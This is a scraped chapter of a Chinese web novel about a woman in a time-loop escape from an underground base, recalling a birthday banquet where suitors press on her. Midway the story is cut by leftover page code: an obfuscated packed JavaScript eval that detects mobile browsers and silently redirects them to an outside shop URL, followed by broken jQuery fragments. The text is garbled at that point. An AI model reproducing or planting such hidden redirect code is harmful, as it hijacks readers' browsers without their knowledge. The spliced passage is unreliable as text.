23. 地下动物园22

作品:《她靠马甲苟成反派公敌!

    再一次踏上前往十八层的路,与前两次感觉完全不同了。


    第一次,芙尔兰刚穿进这里,不敢说话不敢有太大的动作,就怕被人发现,老老实实跟着陈东乘坐电梯,一路穿过天然岩石通道,门开的瞬间抓住了前来找事杰西斯的手,小摩擦很快消失。


    随后,芙尔兰和陈东去往员工休息室换上接待员服饰,出门她和陈东聊上井曜丸八卦,被当事人抓了个正着,又是好一番拉扯,终于把她和萨犹密谋的计划落实——利用从萨犹那得知的上井瑶光消息,顺利让上井曜丸帮给她伪造了一个全新的身份,潜入了零点开幕式现场。


    结果拍卖萨犹时,杀出个拦路虎竞价,为了避免成为全场关注的焦点,芙尔兰只能佯装放弃,实则另辟蹊径,趁着大家都在竞拍当晚开幕式真正的压轴拍卖品“仿生人”时,芙尔兰悄悄溜了出去。


    一路问话,找到了被关在房间里的萨犹,乘往一层电梯时,碰见杰西斯,连续的质问震得芙尔兰心惊肉跳,最后两人一路逃到一楼,好不容易躲过爆.炸逃出地底,迎接她和萨犹的不是久违的阳光与自由,而是两颗子弹。


    也正是这两颗子弹,芙尔兰才获悉,原来这鬼地方远比她想象的还要诡异离奇!


    说是噩梦吧,五感真得不能再真,说是真实的吧,一周目她都死了还能读档复活......


    第二次,芙尔兰怀着愤怒燃烧的火焰复活,生存还是死亡,她不再纠结,而是第一时间复盘。


    复盘一周目掌握的所有信息,分析逃离失败的真正原因,锁定二周目需要解决的敌人,


    想清楚后,芙尔兰一路火花带闪电,与陈东分开后火速前往天然岩石通道,确定了炸.药藏匿点,便一路狂奔中年老板办公室,除了过程惊险点,一切都是那么完美。


    这一次,也是第三次踏入地下十八层。


    芙尔兰不再惴惴不安,时刻提防意外发生,人员找茬,也不再怀着满腔愤怒,差点被仇恨的火焰吞没。


    芙尔兰心中,只剩安心。


    她能做的都做了,也做好了,她也从实践反馈得知自己能做到,一切都没有她想象中的可怕。


    前路仍旧充满未知和不确定,但芙尔兰毫无畏惧,反而,她还有点兴奋。


    二周目刚醒来那一会,芙尔兰承认自己很慌张,这种看似只有游戏才会有的没打出HapyEnding(HE)就要读档回溯重新选择路径的事情,想必没几个人能做到毫无波澜。


    同时,芙尔兰盛满愤怒的大脑里还掺杂了一丝对于死后时间回溯的恐惧,未知,充满不确定性,芙尔兰到现在也不敢妄下结论,只能不断给自己积极的心理暗示,仿佛只有这样才能让她从与深渊互相凝视的恶性循环里走出来。


    芙尔兰信奉实践出真知,只有脚踏实地,亲自走过的路才算真的有收获。


    芙尔兰是独狼型选手,在过去二十年的生涯里,与她一同长大的omega或多或少都有着能说上一两句真心话的朋友和亲人,就连教导芙尔兰的老师们,基本上都有着自己固定的社交圈和小家庭。


    比如某位不受人待见的beta老师,也有着她在乎的人与柔软的一面。


    一个傍晚,芙尔兰站在露台上吹着凉风,无意间扫到那位老师的beta小女儿扑进刚下班的老师怀里。


    小女孩甜甜地叫着妈妈,张开手臂求抱抱,软乎乎说着:“妈妈辛苦啦~”


    一向以严肃著称的beta老师,在女儿面前也卸下面对外界的坚硬盔甲,展露出独一无二的温柔和睦的一面。


    躺在beta老师怀里的小女孩,粉扑扑的小脸蛋甜丝丝笑着,脉脉温情在两人之间流淌,那份母女独有的氛围,再美的晚霞也难企及。


    大门缓缓关上,母女相视而笑的画面,像一颗小石子,轻轻投入了芙尔兰沉寂的心湖。


    彼时的芙尔兰刚满十八岁两天,她回想起自己生日那天,中央星号称第一酒店的宝石酒店里,觥筹交错,人声鼎沸,芙尔兰如同一位打扮精致的洋娃娃,坐在宫殿的中心,应付着一个又一个祝她生日快乐的上流人士。


    一年一度的庆生宴,令芙尔兰无聊透顶。


    omega一出生便被omega保护协会统一收养,由联邦背书,从小养在一块。


    omega的亲生父母不能与之联系,omega本人也无从知晓自己的亲生父母,官方给的解释是这样能更大程度保护omega免于受到来自直系亲属的伤害。


    说好听点,芙尔兰是联邦生养的omega,说难听点芙尔兰是联邦的养大的孤儿。


    “尊敬的芙尔兰殿下,我是越家越安祝您生日快乐,请您收下在下为您准备的礼物,一颗与您一样耀眼的宝石!”


    一位西装革履,头发梳得油光锃亮,表情狂热的成年男性alpha不知道从哪窜出来的,突兀地单膝跪在芙尔兰身前,朝着她高高举起一个精致小巧的暗红色天鹅绒礼盒,里面赫然是一颗婴儿拳头大小的宝石。


    宝石流光溢彩,晶体中所蕴含的火彩和能量映射在芙尔兰眼中,赤.裸.裸地照射出芙尔兰眼中的抵触与害怕。


    这是伏芙尔兰第一次见到这位alpha,也是第一次在自己的生日宴上看见这么多人,alpha五官立体,偏西欧味,尤其是那双眼睛,如海洋一般深邃,望着你时,无比深情。


    可是,芙尔兰才刚成年,这位alpha明显比她大了好几岁,是在向她示爱?


    有没有搞错?


    疯了吗?


    芙尔兰一时难掩心中的厌恶,皱眉起身往后退,旁边的护卫队见状立马察觉出芙尔兰的害怕,上前阻拦alpha,警防对方有下一步动作。


    芙尔兰本以为这只是一个小插曲,可随着生日宴会的开展,一茬又一茬的人往她身前凑,九成为跟刚才那位一样的alpha,还有一成是带着家族适龄alpha名片的beta或已婚omega。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846170|190461||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    到后面,芙尔兰所幸连最开始假意推脱两句再拒绝的流程也懒得走了,直接变成来一个点头一个,硬要送礼物的就放旁边桌上,护卫队统一保管,要给个人名片的,最多对着对方点个头便示意对方放下名片就可以走了。


    令芙尔兰百思不得其解的,是这些人无论被她如何对待,都不会受到任何影响,该示爱的示爱,该套近乎的套近乎,该客套的客套。


    芙尔兰感觉自己就像是一个世上仅存的花瓶,来来往往许多人在她周围驻足又离开。


    有的人抱着好奇心态接近,只为一睹芳容;有的人一开始就动机不纯,只想趁乱行事;有的人以为就此登上了上层圈子,却不知道自己只是一只待宰的肥羊.....


    众人推杯换盏,互换名片,谈笑风生,至于寿星是谁,心里怎么想的,根本无人在意。


    芙尔兰像个提线木偶,配合着这场你方唱罢我登场的闹剧,到点切蛋糕,冷脸说着感谢。


    芙尔兰被众人包围着,香槟塔折射出浮夸的光,宫殿内每个人的笑都恰到好处。


    但只有芙尔兰自己知道,这场庆生宴,不过又是一个名正言顺的名利场,所谓的热闹,不过是披着华丽表象的权柄怪物,将她的期待与众人的各怀鬼胎,吞吃殆尽,骨头渣也不剩。


    而芙尔兰便是这场名利场的终极噱头,将所有人串在一起,绑在一条船上的祭品。


    所以,没人会倾听一个花瓶的声音,没人会在意一件物品的想法。


    就算是凤毛麟角的S级omega也一样。


    无一例外。


    芙尔兰没有朋友,没有亲人,没有伴侣,芙尔兰只有自己。


    芙尔兰的心中从未走进过任何人,她只爱自己,只在乎自己。


    如果一定要剖开她的心瞧一瞧,也只会看见她那一半塞满了对过往的阴影与束缚的厌恶,另一半怀揣着对自由的渴望与未来的期许的正在跳动的心脏。


    她有自己就够了。


    当一棵小草牟足劲往上长时,即使没有外界的浇灌与打理,土壤不够肥沃与营养,小草还是会长成小草。


    即使是一棵小草,也可以从岩石缝隙,墙缝角落冒出头,迎接大自然一阵阵清风。


    芙尔兰一直坚信。


    这样的想法一直持续到现在,哪怕芙尔兰受诬陷入狱,她也从未改变。


    ‘哒——哒——’


    战术短靴在光滑的地板上踩出清晰的碰撞声。


    从中年老板的房间出来后,芙尔兰脸上始终挂着一抹微笑,很浅很浅,但足以让人看出她心情很好。


    基地外,相关部门在街道中年老板的指示后,一张张诧异的脸抬起,又与身旁的同事对视,齐齐惊呼:“难道我们被发现了!”


    这些员工当然不是同陈东与泰达一样的卧底,他们都是实打实的地下组织“穹”的正式员工,甚至好些人从“穹”刚建立那两年便入职了,几十年来,一天也没缺席。